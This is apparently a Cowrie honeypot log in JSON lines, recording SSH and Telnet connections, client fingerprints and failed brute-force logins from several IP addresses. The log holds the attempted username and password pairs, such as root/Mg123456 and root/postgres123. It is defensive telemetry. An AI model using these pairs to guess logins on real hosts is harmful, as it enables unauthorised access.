{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:50:34.457303Z","src_ip":"118.193.33.81","session":"bed81fa036ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mg123456","message":"login attempt [root/Mg123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:50:35.342239Z","src_ip":"118.193.33.81","session":"bed81fa036ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.253.102.246","src_port":6088,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbdc3e8a8611","protocol":"telnet","message":"New connection: 94.253.102.246:6088 (159.203.135.109:23) [session: dbdc3e8a8611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:50:36.036364Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:50:36.555395Z","src_ip":"118.193.33.81","session":"bed81fa036ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":44348,"dst_ip":"10.17.0.5","dst_port":22,"session":"e39e7e7375f2","protocol":"ssh","message":"New connection: 210.79.142.221:44348 (10.17.0.5:22) [session: e39e7e7375f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:50:54.749782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:50:54.755009Z","src_ip":"210.79.142.221","session":"e39e7e7375f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:50:54.997378Z","src_ip":"210.79.142.221","session":"e39e7e7375f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"postgres123","message":"login attempt [root/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:50:55.999396Z","src_ip":"210.79.142.221","session":"e39e7e7375f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:50:57.244541Z","src_ip":"210.79.142.221","session":"e39e7e7375f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49298,"dst_ip":"159.203.135.109","dst_port":22,"session":"c64c6ed9da6b","protocol":"ssh","message":"New connection: 159.203.92.129:49298 (159.203.135.109:22) [session: c64c6ed9da6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:50:58.599438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:50:58.603919Z","src_ip":"159.203.92.129","session":"c64c6ed9da6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:50:58.610049Z","src_ip":"159.203.92.129","session":"c64c6ed9da6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anya","password":"anya","message":"login attempt [anya/anya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:50:58.621092Z","src_ip":"159.203.92.129","session":"c64c6ed9da6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:50:59.626816Z","src_ip":"159.203.92.129","session":"c64c6ed9da6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":64372,"dst_ip":"159.203.135.109","dst_port":22,"session":"3632ffed5a77","protocol":"ssh","message":"New connection: 118.193.33.81:64372 (159.203.135.109:22) [session: 3632ffed5a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:51:27.322768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:51:27.330128Z","src_ip":"118.193.33.81","session":"3632ffed5a77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:51:27.546757Z","src_ip":"118.193.33.81","session":"3632ffed5a77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testaccount","password":"testaccount","message":"login attempt [testaccount/testaccount] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:51:28.441642Z","src_ip":"118.193.33.81","session":"3632ffed5a77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:51:29.672063Z","src_ip":"118.193.33.81","session":"3632ffed5a77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":38438,"dst_ip":"159.203.135.109","dst_port":23,"session":"dee57d56a95c","protocol":"telnet","message":"New connection: 62.171.135.55:38438 (159.203.135.109:23) [session: dee57d56a95c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:51:31.340249Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":32934,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ae6eb4b8f83","protocol":"ssh","message":"New connection: 159.203.92.129:32934 (159.203.135.109:22) [session: 7ae6eb4b8f83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:51:38.077055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:51:38.081428Z","src_ip":"159.203.92.129","session":"7ae6eb4b8f83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:51:38.085189Z","src_ip":"159.203.92.129","session":"7ae6eb4b8f83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anz","password":"anz","message":"login attempt [anz/anz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:51:38.095060Z","src_ip":"159.203.92.129","session":"7ae6eb4b8f83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:51:39.103119Z","src_ip":"159.203.92.129","session":"7ae6eb4b8f83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.78268074989319,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:02.122815Z","src_ip":"62.171.135.55","session":"dee57d56a95c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35226,"dst_ip":"159.203.135.109","dst_port":22,"session":"d79951305e53","protocol":"ssh","message":"New connection: 159.203.92.129:35226 (159.203.135.109:22) [session: d79951305e53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:18.061340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:18.066117Z","src_ip":"159.203.92.129","session":"d79951305e53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:18.070474Z","src_ip":"159.203.92.129","session":"d79951305e53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anzheng","password":"123","message":"login attempt [anzheng/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:18.080779Z","src_ip":"159.203.92.129","session":"d79951305e53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:19.086257Z","src_ip":"159.203.92.129","session":"d79951305e53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":65052,"dst_ip":"159.203.135.109","dst_port":22,"session":"08dacebe796d","protocol":"ssh","message":"New connection: 118.193.33.81:65052 (159.203.135.109:22) [session: 08dacebe796d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:19.249994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:19.254755Z","src_ip":"118.193.33.81","session":"08dacebe796d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:19.477939Z","src_ip":"118.193.33.81","session":"08dacebe796d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123","message":"login attempt [root/Asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:20.339360Z","src_ip":"118.193.33.81","session":"08dacebe796d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:21.565339Z","src_ip":"118.193.33.81","session":"08dacebe796d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":31332,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef3c0e6b03d1","protocol":"ssh","message":"New connection: 87.251.64.176:31332 (10.17.0.5:22) [session: ef3c0e6b03d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:33.908323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:33.912835Z","src_ip":"87.251.64.176","session":"ef3c0e6b03d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:34.008641Z","src_ip":"87.251.64.176","session":"ef3c0e6b03d1","protocol":"ssh"}
